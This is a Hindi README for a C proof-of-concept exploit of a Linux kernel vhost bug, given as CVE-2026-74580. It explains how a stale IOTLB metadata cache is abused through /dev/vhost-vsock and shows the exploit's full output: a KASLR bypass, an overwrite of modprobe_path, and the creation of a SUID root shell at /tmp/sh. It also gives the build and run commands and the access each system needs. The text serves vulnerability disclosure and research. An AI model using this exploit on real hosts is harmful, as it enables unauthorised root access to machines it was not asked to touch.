
CVE-2026-74580 के लिए C प्रूफ़-ऑफ़-कॉन्सेप्ट: x86-64 Linux होस्ट पर modprobe_path को ओवरराइट करने और रूट तक एस्केलेट करने के लिए बासी vhost IOTLB मेटाडेटा कैश का शोषण करता है।
मूल कोड और readme फ़ाइल यहाँ से: https://github.com/zhangutah/security-research
अपेक्षित आउटपुट:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] प्रत्येक vring metadata क्षेत्र (desc / avail / used) के पीछे के IOTLB मैपिंग को कैश करता है। VHOST_SET_VRING_ADDR और VHOST_SET_VRING_NUM उस कैश को रीसेट नहीं करते। किसी डिवाइस IOTLB के जुड़े होने पर, एक लाइव vq किसी पुनःकॉन्फ़िगर किए गए vring का अनुवाद ऐसी मैपिंग के माध्यम से कर सकता है जो अब उसे कवर नहीं करती। vhost_vq_meta_fetch() में कोई रेंज जाँच नहीं है, और परिणाम __copy_to_user() / __copy_from_user() को पास किया जाता है।
यही पुराना कैश किसी गेस्ट से तब भी पहुँचा जा सकता है जब vhost device-IOTLB मोड (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) में चलता है और गेस्ट VIRTIO_F_RING_RESET के माध्यम से किसी virtqueue को रीसेट करता है। वह पथ इस PoC में नहीं है।
de845981da67poc.c /dev/vhost-vsock के विरुद्ध एक होस्ट x86-64 PoC है। यह euid=0 के रूप में एक रूट शेल खोलता है। यह /tmp/sh को suid root के रूप में बनाता है। परीक्षण के बाद फ़ाइल को मैन्युअल रूप से हटा दें!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
सिंबल लुकअप इस क्रम में उपयोग करता है: $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map। modprobe_path मौजूद होना चाहिए; अनुपस्थित होने पर asm_exc_divide_error एक स्थिर पते पर वापस चला जाता है।
प्रक्रिया को /dev/vhost-vsock खोलने में सक्षम होना चाहिए। कुछ इमेजें उस नोड को
0666 के साथ भेजती हैं; अन्य 0660 root:kvm होती हैं।
केवल अपने स्वयं के डिस्पोज़ेबल परीक्षण सिस्टम पर ही चलाएँ।